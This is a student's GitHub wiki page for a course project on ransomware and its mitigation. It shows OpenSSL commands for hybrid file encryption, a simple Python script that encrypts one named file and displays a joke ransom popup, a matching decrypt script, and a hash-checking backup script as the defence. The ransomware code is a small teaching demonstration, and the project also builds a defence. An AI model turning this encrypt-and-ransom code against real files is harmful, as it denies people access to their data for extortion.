Final Project: Ransomware + Mitigation - squatchulator/Tech-Journal GitHub Wiki

Final Project: Ransomware + Mitigation

Project Files

Setup

  • First for these scripts to work, three things need to be installed for Python to play nice with our environmnet. I ran this all on the latest build of xUbuntu, but any system that has access to Python 3.12 will be compatible with this demonstration.
sudo apt install python3
sudo apt install python3-cryptography
sudo apt install python3-tk
  • These libraries will allow us to use the cryptography mechanisms in Python, as well as some pop-up dialogue boxes when the encryption and decryption methods start. A brief explanation of how these work is below.

Cryptographic methods explained

Below is a demonstration done in Bash (credit to Devin's SEC-440 videos, this code is from them)

  • First, make a keypair (public part is used for operations, private is for decryption - private key is embedded in the file we are gonna generate) openssl genrsa -out key.pem

  • Now we need to extract the public key from this file. cat the file to make sure it worked. openssl rsa -pubout -in key.pem -out key.pub

  • The victim can have this public key file anywhere they can't really do anything with it. We are gonna use this key to encrypt an asymmetric key now.

clearkey=$(openssl rand -hex 64)
echo $clearkey | openssl rsautl -encrypt -out symmetric.enc -inkey key.pub -pubin
  • Now we can use that clearkey variable to encrypt stuff. We also want to delete the old file and remove the clearkey variable.
openssl aes-256-cbc -in file.txt -out file.txt.enc -pass pass:$clearkey
rm file.txt
clearkey=""
  • Now with symmetric.enc, run this to get the decryption key. openssl rsautl -decrypt -in symmetric.enc -inkey key.pem -out clearkey.txt

  • The victim can now use this key, and run openssl aes-256-cbc -d -in file.txt.enc -out file.txt -pass file:clearkey.txt

Creating my scripts

  • In this project, I focused a lot on making it do things it didn't really need to do. I realized pretty early on that my Python knowledge was lacking, so I did a lot of research on other author's Python file encryption techniques. Almost all of them used the cryptography Python library, which has pretty similar syntax across many of the projects I looked at so there was lots of documentation to get me started.
  • Initially I tried to combine both encryption and decryption into one file that could specify the file path you wanted to encrypt as well by passing arguments for all 3 of these things - this ended up being strangely complicated, and I realized about halfway through that it ruins the whole point if the same script can be used for both. The victim could just run the script themselves to reverse it!
  • After I got encryption and decryption working properly, mitigation started to be my biggest issue. I started out with the thought that I could create a script using Watchdog that would detect as soon as something was encrypted and make a backup, but the encryption was way too fast for Watchdog to keep up with so no matter how fast I set it to, it would keep backing up the encrypted file. To work around this, I went back to the drawing board and decided it would be doable to just write a script that backs up specified files on a 5 second interval, overwrites the old ones, and immediately stops when it recognizes that the file hash has changed at all. This way it ensures the integrity of the backups by preventing the encrypted ones from being backed up, and giving the victim a backup file to revert back to whenever their own is encrypted.

Scripts (all in the same working directory as file, I used file.txt for my example but it can be any file)

encrypt.py

# Resources used: 
# https://www.geeksforgeeks.org/encrypt-and-decrypt-files-using-python/
# https://www.geeksforgeeks.org/python-tkinter-messagebox-widget/
import os
import tkinter as tk
from tkinter import messagebox
from cryptography.fernet import Fernet

# Spawn a little pop-up window with the ransom message
root = tk.Tk()
root.withdraw()

# Set the path of where this script is being executed from
script_directory = os.path.dirname(os.path.abspath(__file__))
# Target file(s) go here, it will grab the absolute path of that as well
filename = "file.txt"
file_path = os.path.join(script_directory, filename)
#new_file_path = os.path.join(script_directory, new_filename)
key = Fernet.generate_key()
# Makes a new file called filekey.key and throws the generated key in there
with open('filekey.key', 'wb') as filekey:
    filekey.write(key)
# Grabs the key from that file we just made
with open('filekey.key', 'rb') as filekey:
    key = filekey.read()

fernet = Fernet(key)
# Opens our file that we want to encrypt
with open(file_path, 'rb') as file:
    original = file.read()
# This line is what actually encrypts the file 
encrypted = fernet.encrypt(original)
# Writes the encrypted stuff to the file and displays the ransom
with open(file_path, 'wb') as encrypted_file:
    encrypted_file.write(encrypted)
    messagebox.showinfo("ALERT", "MMmmmm I gobbled your files up and scrambled them with my scrambleinator! My venmo is miles-cummings")

decrypt.py

# Resources used: w.geeksforgeeks.org/encrypt-and-decrypt-files-using-python/
# https://www.geeksforgeeks.org/python-tkinter-messagebox-widget/
import os
import tkinter as tk
from tkinter import messagebox
from cryptography.fernet import Fernet
# Pop-up message to be displayed 
root = tk.Tk()
root.withdraw()
# Grabs the absolute path of this script
script_directory = os.path.dirname(os.path.abspath(__file__))
# Change file(s) you want to decrypt here - it will grab the absolute path of those as well
filename = "file.txt"
file_path = os.path.join(script_directory, filename)
# Opens up that filekey.key file to grab the key
with open('filekey.key', 'rb') as filekey:
    key = filekey.read()
fernet = Fernet(key)
# Reads and throws the encrypted file contents into a variable
with open(file_path, 'rb') as enc_file:
    encrypted = enc_file.read()
# This line decrypts the contents of the file using that key
decrypted = fernet.decrypt(encrypted)
# Writes the decrypted content back to the file and displays a message
with open(file_path, 'wb') as dec_file:
    dec_file.write(decrypted)
    messagebox.showinfo("ALERT", "Sigh ok here's your files back")

ransomwaren't.py

import os
import shutil
import hashlib
import time

# Set the path of where this script is being executed from
script_directory = os.path.dirname(os.path.abspath(__file__))
# Target file(s) go here, it will grab the absolute path of that as well
filename = "file.txt"
file_path = os.path.join(script_directory, filename)
backup_path = file_path + ".bac"
print("This script will check the file integrity of", filename, "every 5 seconds.")
print("If the file has changed at all, backups will cease and an alert will appear.")
# Create an initial backup of the file
def create_backup():
    shutil.copyfile(file_path, backup_path)

# Calculate the hash of a file to make sure it hasn't changed at all
def calculate_file_hash(file_path):
    hasher = hashlib.sha256()
    # Open the file path and make sure the hash is exact
    with open(file_path, 'rb') as file:
        while True:
            chunk = file.read(65536)  # 64 KB chunks
            if not chunk:
                break
            hasher.update(chunk)
    return hasher.hexdigest()

# Calculate the initial hash of the file
initial_hash = calculate_file_hash(file_path)

try:
    # Infinite loop for persistent monitoring
    while True:
        # Check if the file integrity has changed at all
        current_hash = calculate_file_hash(file_path)
        # If changes are found then stop creating backups to preserve most recent
        if current_hash != initial_hash:
            print("File integrity changed. Backup process stopped.")
            break
        
        # Create a backup of the file
        create_backup()
        
        # Wait for 5 seconds before creating the next backup
        time.sleep(5)
except KeyboardInterrupt:
    print("Backup process interrupted by user.")
⚠️ **GitHub.com Fallback** ⚠️